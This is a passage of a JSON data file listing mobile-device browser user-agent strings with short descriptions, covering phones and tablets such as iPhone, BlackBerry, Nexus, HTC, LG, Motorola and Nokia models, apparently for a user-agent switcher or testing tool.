8.8\",\"kind\":\"Mobile Devices\",\"ua\":\"UCWEB\\/8.8 (iPhone; CPU OS_6; en-US)AppleWebKit\\/534.1 U3\\/3.0.0 Mobile\"},{\"description\":\"iPhone - iOS 7_1_2 - Safari 7\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML like Gecko) Version\\/7.0 Mobile\\/11D257 Safari\\/9537.53\"},{\"description\":\"iPhone - iOS 8_3 - Safari 8.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12F70 Safari\\/600.1.4\"},{\"description\":\"iPhone - iOS 8_4 - Safari 8.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) GSA\\/8.0.57838 Mobile\\/12H321 Safari\\/600.1.4\"},{\"description\":\"iPhone - iOS 9_2 - Safari 9.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C75 Safari\\/601.1\"},{\"description\":\"iPhone - iOS 10_0 - Safari 10.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A346 Safari\\/602.1\"},{\"description\":\"iPhone - iOS 10_0 - GSA 18.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) GSA\\/18.0.130791545 Mobile\\/14A5345a Safari\\/600.1.4\"},{\"description\":\"iPhone - iOS 10_3 - Safari 9\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"description\":\"iPhone - iOS 11_0 - Safari 11\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5362a Safari\\/604.1\"},{\"description\":\"iPod Touch - iOS 2.2.1 - Safari 3.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5H11a Safari\\/525.20\"},{\"description\":\"iPod Touch - iOS 3_1_1 - Safari 528.16\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit\\/528.18 (KHTML, like Gecko) Mobile\\/7C145\"},{\"description\":\"iPod Touch - iOS 7_1 - Safari 7.0\\/537.51\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML like Gecko) Version\\/7.0 Mobile\\/11D167 Safari\\/123E71C\"},{\"description\":\"iPod Touch - iOS 8_4 - Safari 600.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) CriOS\\/44.0.2403.67 Mobile\\/12H143 Safari\\/600.1.4\"},{\"description\":\"Nook 2 (limited data)\",\"kind\":\"Mobile Devices\",\"ua\":\"nook browser\\/1.0\"},{\"description\":\"Nook Color - Android - IDs as: OS_X 10_5_7 - Safari 530.17\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Safari\\/530.17\"},{\"description\":\"Nook Tablet - Android 2.3.4 - Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Safari\\/533.1\"},{\"description\":\"Nook Tablet - Android 4.0.4 - Chrome 42\\/Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; BNTV400 Build\\/IMM76L) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.111 Safari\\/537.36\"},{\"description\":\"7100\",\"kind\":\"Mobile Devices\",\"ua\":\"BlackBerry7100i\\/4.1.0 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 VendorID\\/103\"},{\"description\":\"8300 Bold\",\"kind\":\"Mobile Devices\",\"ua\":\"BlackBerry8300\\/4.2.2 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 VendorID\\/107 UP.Link\\/6.2.3.15.0\"},{\"description\":\"8320 Curve\",\"kind\":\"Mobile Devices\",\"ua\":\"BlackBerry8320\\/4.2.2 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 VendorID\\/100\"},{\"description\":\"8330\",\"kind\":\"Mobile Devices\",\"ua\":\"BlackBerry8330\\/4.3.0 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 VendorID\\/105\"},{\"description\":\"9000\",\"kind\":\"Mobile Devices\",\"ua\":\"BlackBerry9000\\/4.6.0.167 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 VendorID\\/102\"},{\"description\":\"9530 Storm\",\"kind\":\"Mobile Devices\",\"ua\":\"BlackBerry9530\\/4.7.0.167 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 VendorID\\/102 UP.Link\\/6.3.1.20.0\"},{\"description\":\"9700\",\"kind\":\"Mobile Devices\",\"ua\":\"BlackBerry9700\\/5.0.0.351 Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1 VendorID\\/123\"},{\"description\":\"9800 Torch - Safari 534.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit\\/534.1  (KHTML, Like Gecko) Version\\/6.0.0.141 Mobile Safari\\/534.1\"},{\"description\":\"9930 - Safari 534.11\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (BlackBerry; U; BlackBerry 9930; en-US) AppleWebKit\\/534.11+ (KHTML, like Gecko) Version\\/7.1.0.267 Mobile Safari\\/534.11+\"},{\"description\":\"Keyone BBB100-1 - Safari 537.36\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; BBB100-1 Build\\/NMF26F) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Mobile Safari\\/537.36\"},{\"description\":\"Playbook (tablet) - OS 2.1.0 - Safari 536.2+\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit\\/536.2+ (KHTML like Gecko) Version\\/7.2.1.0 Safari\\/536.2+\"},{\"description\":\"Z10 - BB10 OS - Mobile Safari 537.10+\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (BB10; Touch) AppleWebKit\\/537.10+ (KHTML, like Gecko) Version\\/10.1.0.2342 Mobile Safari\\/537.10+\"},{\"description\":\"3622A Build\\/LMY47V - Android 5.1.1 - Chrome 58\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.83 Mobile Safari\\/537.36\"},{\"description\":\"3632A Build\\/NMF26F - Android 7.1.1 - Chrome 59\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; Coolpad 3632A Build\\/NMF26F) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Mobile Safari\\/537.36\"},{\"description\":\"Android SDK - Android 1.5 - Mobile Safari 525.20\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; en-us; sdk Build\\/CUPCAKE) AppleWebkit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"Nexus One - Android 2.1 - Mobile Safari 530.17\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build\\/ERD62) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"description\":\"Nexus One - Android 2.2 - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Nexus 5 - Android 4.4 - AppleWebKit\\/536.23\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4; Nexus 5 Build\\/BuildID) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"description\":\"Nexus 5X - Android 6.0 - Chome 53.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; Nexus 5X Build\\/MDB08L) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Mobile Safari\\/537.36\"},{\"description\":\"Nexus 6P - Android 7.1.2 - Chrome 53.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.2; Nexus 6P Build\\/N2G48C) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.107 Mobile Safari\\/537.36\"},{\"description\":\"Nexus 7 - Android 4.4.4 - AppleWebKit\\/537.36\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; Nexus 7 Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/36.0.1985.135 Safari\\/537.36\"},{\"description\":\"Nexus 7 - Android 5.1.1 - Opera 30.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Nexus 7 Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.78 Safari\\/537.36 OPR\\/30.0.1856.93524\"},{\"description\":\"Nexus 9 - Android 7.0 - Chrome 53.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; Nexus 9 Build\\/NRD90R) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Safari\\/537.36\"},{\"description\":\"Pixel NHG47N - Android 7.1.2 - Chrome 58.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.2; Pixel Build\\/NHG47N) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.83 Mobile Safari\\/537.36\"},{\"description\":\"Pixel XL OPR6 - Android 8.0.0 - Chrome 60.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 8.0.0; Pixel XL Build\\/OPR6.170623.012) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.107 Mobile Safari\\/537.36\"},{\"description\":\"Touchpad 1.0 - WebOS 3.0.2 - wOSBrowser 234.40.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (hp-tablet; Linux; hpwOS\\/3.0.2; U; de-DE) AppleWebKit\\/534.6 (KHTML, like Gecko) wOSBrowser\\/234.40.1 Safari\\/534.6 TouchPad\\/1.0\"},{\"description\":\"Pre3 - webOS 2.2.4 - wOSBrowser 221.56\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; webOS\\/2.2.4; U; en-US) AppleWebKit\\/534.6 (KHTML, like Gecko) webOSBrowser\\/221.56 Safari\\/534.6 Pre\\/3.0\"},{\"description\":\"6800 - WinCE - IEMobile 7.11 (MSIE 6.0) - Sprint\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Sprint:PPC6800\"},{\"description\":\"6800 - WinCE - IEMobile 7.11 (MSIE 6.0) - Verizon\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) XV6800\"},{\"description\":\"Bahamas - Android 1.5 - Mobile Safari 525.20.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build\\/CRB17) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"Desire - Android 2.1 - Mobile Safari 530.17\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build\\/ERE27) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"description\":\"Dream - Android 1.5 - Mobile Safari 525\",\"kind\":\"Mobile Devices\",\"ua\":\"HTC_Dream Mozilla\\/5.0 (Linux; U; Android 1.5; en-ca; Build\\/CUPCAKE) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"Evo - Android 2.2 - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Hero - Android 1.5 - Mobile Safari 525.20\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build\\/CUPCAKE) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"Incredible - Android 2.2 - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Legend - Android 2.1 - Mobile Safari 530.17\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build\\/cupcake) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"description\":\"Magic - Android 1.5 - Mobile Safari 525.20.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build\\/PLAT-RC33) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1 FirePHP\\/0.3\"},{\"description\":\"One M9 - Android 6.0 - Chrome 52.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; HTC One M9 Build\\/MRA58K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.98 Mobile Safari\\/537.36\"},{\"description\":\"Sensation - Android 4.0.3 - Mobile Safari 534.30\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"description\":\"ST7377 - Win XP - Opera 9.5\",\"kind\":\"Mobile Devices\",\"ua\":\"HTC-ST7377\\/1.59.502.3 (67150) Opera\\/9.50 (Windows NT 5.1; U; en) UP.Link\\/6.3.1.17.0\"},{\"description\":\"Tattoo - Android 1.6 - Mobile Safari 525.20.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build\\/DRC79) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"ALE-L21 - Android 6.0 - Chrome 50\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; ALE-L21 Build\\/HuaweiALE-L21) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.89 Mobile Safari\\/537.36\"},{\"description\":\"Hydro Wave C6740N - Android 5.1 - Chrome 42\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; C6740N Build\\/LMY47O) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.111 Mobile Safari\\/537.36\"},{\"description\":\"Escape P870 - Android 4.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-P870\\/P87020d Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"description\":\"Fusic LX550\",\"kind\":\"Mobile Devices\",\"ua\":\"LG-LX550 AU-MIC-LX550\\/2.0 MMP\\/2.0 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"LG-D850 - Android 6.0 - Chome 53.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; LG-D850 Build\\/MRA58K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.97 Mobile Safari\\/537.36\"},{\"description\":\"LG-H918 - Android 7.0 - Chome 56.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LG-H918 Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Mobile Safari\\/537.36\"},{\"description\":\"LG-L84VL - Android 7.0 - Chome 59.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGL84VL Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Mobile Safari\\/537.36\"},{\"description\":\"LGUS997 - Android 7.0 - Chrome 59\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGUS997 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Mobile Safari\\/537.36\"},{\"description\":\"Optimus LGMS323 - Android 4.4 - Chrome 30\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; LGMS323 Build\\/KOT49I.MS32310b) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.103 Mobile Safari\\/537.36\"},{\"description\":\"Rumor2 LX265 - Polaris\",\"kind\":\"Mobile Devices\",\"ua\":\"POLARIS\\/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS\\/6.01\\/WAP;)MMP\\/2.0 profile\\/MIDP-201 Configuration \\/CLDC-1.1\"},{\"description\":\"Viewty\",\"kind\":\"Mobile Devices\",\"ua\":\"LG-GC900\\/V10a Obigo\\/WAP2.0 Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1\"},{\"description\":\"V410 Tablet - Android 4.4 - Chrome 30\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; LG-V410 Build\\/KOT49I.V41010d) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.103 Safari\\/537.36\"},{\"description\":\"MDA Pro - Win CE\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows CE; PPC; MDA Pro\\/1.0 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1)\"},{\"description\":\"T-Mobile G1 - Android 1.0 - Mobile Safari 523.12.2\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit\\/525.10  (KHTML, like Gecko) Version\\/3.0.4 Mobile Safari\\/523.12.2\"},{\"description\":\"T-Mobile G1 - Android 1.5 -  Mobile Safari 525.20.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; en-us; T-Mobile G1 Build\\/CRB43) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari 525.20.1\"},{\"description\":\"T-Mobile G2 - Android 1.5 - Mobile Safari 525.20.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; en-gb; T-Mobile_G2_Touch Build\\/CUPCAKE) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"Droid - Android 2.0 - Mobile Safari 530.17\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.0; en-us; Droid Build\\/ESD20) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"description\":\"Droid V2.2 - Android 2.2 - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; Droid Build\\/FRG22D) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"L7\",\"kind\":\"Mobile Devices\",\"ua\":\"MOT-L7v\\/08.B7.5DR MIB\\/2.2.1 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 UP.Link\\/6.3.0.0.0\"},{\"description\":\"Milestone - Android 2.0 - Mobile Safari 4.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.0; en-us; Milestone Build\\/ SHOLS_U2_01.03.1) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"description\":\"Milestone  Android 2.0.1 - Mobile Safari 4.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.0.1; de-de; Milestone Build\\/SHOLS_U2_01.14.0) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"description\":\"Moto G (5) Android 7.0 - Chrome 60\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; Moto G (5) Plus Build\\/NPNS25.137-35-5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.107 Mobile Safari\\/537.36\"},{\"description\":\"Moto Z2XT1710-02 - Android 7.1.1 - Chrome 59\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; XT1710-02 Build\\/NDS26.74-36) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Mobile Safari\\/537.36\"},{\"description\":\"Razr V9\",\"kind\":\"Mobile Devices\",\"ua\":\"MOT-V9mm\\/00.62 UP.Browser\\/6.2.3.4.c.1.123 (GUI) MMP\\/2.0\"},{\"description\":\"RIZR - Symbian OS - Opera 8.65\",\"kind\":\"Mobile Devices\",\"ua\":\"MOTORIZR-Z8\\/46.00.00 Mozilla\\/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link\\/6.3.0.0.0\"},{\"description\":\"V177\",\"kind\":\"Mobile Devices\",\"ua\":\"MOT-V177\\/0.1.75 UP.Browser\\/6.2.3.9.c.12 (GUI) MMP\\/2.0 UP.Link\\/6.3.1.13.0\"},{\"description\":\"Xoom - Android 3.0.1 - Mobile Safari 523.12\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0; en-us; Xoom Build\\/HRI39) AppleWebKit\\/525.10  (KHTML, like Gecko) Version\\/3.0.4 Mobile Safari\\/523.12.2\"},{\"description\":\"XT1032 - Android 4.4.4 - Chrome 45\\/Mobile Safari 537.36\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; XT1032 Build\\/KXB21.14-L1.61) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.94 Mobile Safari\\/537.36\"},{\"description\":\"NEC n410i i-Mode\",\"kind\":\"Mobile Devices\",\"ua\":\"portalmmm\\/2.0 N410i(c20;TB)\"},{\"description\":\"3230 - SymbianOS 7.0s\",\"kind\":\"Mobile Devices\",\"ua\":\"Nokia3230\\/2.0 (5.0614.0) SymbianOS\\/7.0s Series60\\/2.1 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.0\"},{\"description\":\"5700 - SymbianOS 9.2 - Safari 413\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.2; U; Series60\\/3.1 Nokia5700\\/3.27; Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413\"},{\"description\":\"6120 Classic - SymbianOS 9.2 - Safari 413\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.2; U; Series60\\/3.1 Nokia6120c\\/3.70; Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413\"},{\"description\":\"6230\",\"kind\":\"Mobile Devices\",\"ua\":\"Nokia6230\\/2.0 (04.44) Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"6230i\",\"kind\":\"Mobile Devices\",\"ua\":\"Nokia6230i\\/2.0 (03.80) Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"6600 Smartphone - Symbian OS - Opera 6.20\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]\"},{\"description\":\"6630 - SymbianOS 8.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Nokia6630\\/1.0 (2.39.15) SymbianOS\\/8.0 Series60\\/2.6 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"7250\",\"kind\":\"Mobile Devices\",\"ua\":\"Nokia7250\\/1.0 (3.14) Profile\\/MIDP-1.0 Configuration\\/CLDC-1.0\"},{\"description\":\"9500\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Series80\\/2.0 Nokia9500\\/4.51 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1)\"},{\"description\":\"C6-01 - Symbian 3 - Safari 525\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Symbian\\/3; Series60\\/5.2 NokiaC6-01\\/011.010; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1 ) AppleWebKit\\/525 (KHTML, like Gecko) Version\\/3.0 BrowserNG\\/7.2.7.2 3gpp-gba\"},{\"description\":\"C7 - Symbian 3 - Safari 525\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Symbian\\/3; Series60\\/5.2 NokiaC7-00\\/012.003; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1 ) AppleWebKit\\/525 (KHTML, like Gecko) Version\\/3.0 BrowserNG\\/7.2.7.3 3gpp-gba\"},{\"description\":\"E50 - SymbianOS 9.1 - Safari 413 es50\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.1; U; en-us) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413 es50\"},{\"description\":\"E6-00 - SymbianOS 3 - Safari 533.4\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Symbian\\/3; Series60\\/5.2 NokiaE6-00\\/021.002; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1) AppleWebKit\\/533.4 (KHTML, like Gecko) NokiaBrowser\\/7.3.1.16 Mobile Safari\\/533.4 3gpp-gba\"},{\"description\":\"E63 - SymbianOS 9.2 - UCWEB 8.8 (webkit)\",\"kind\":\"Mobile Devices\",\"ua\":\"UCWEB\\/8.8 (SymbianOS\\/9.2; U; en-US; NokiaE63) AppleWebKit\\/534.1 UCBrowser\\/8.8.0.245 Mobile\"},{\"description\":\"E65 - SymbianOS 9.1 - Safari 413 es65\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.1; U; en-us) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413 es65\"},{\"description\":\"E7 - Symbian 3 - Safari 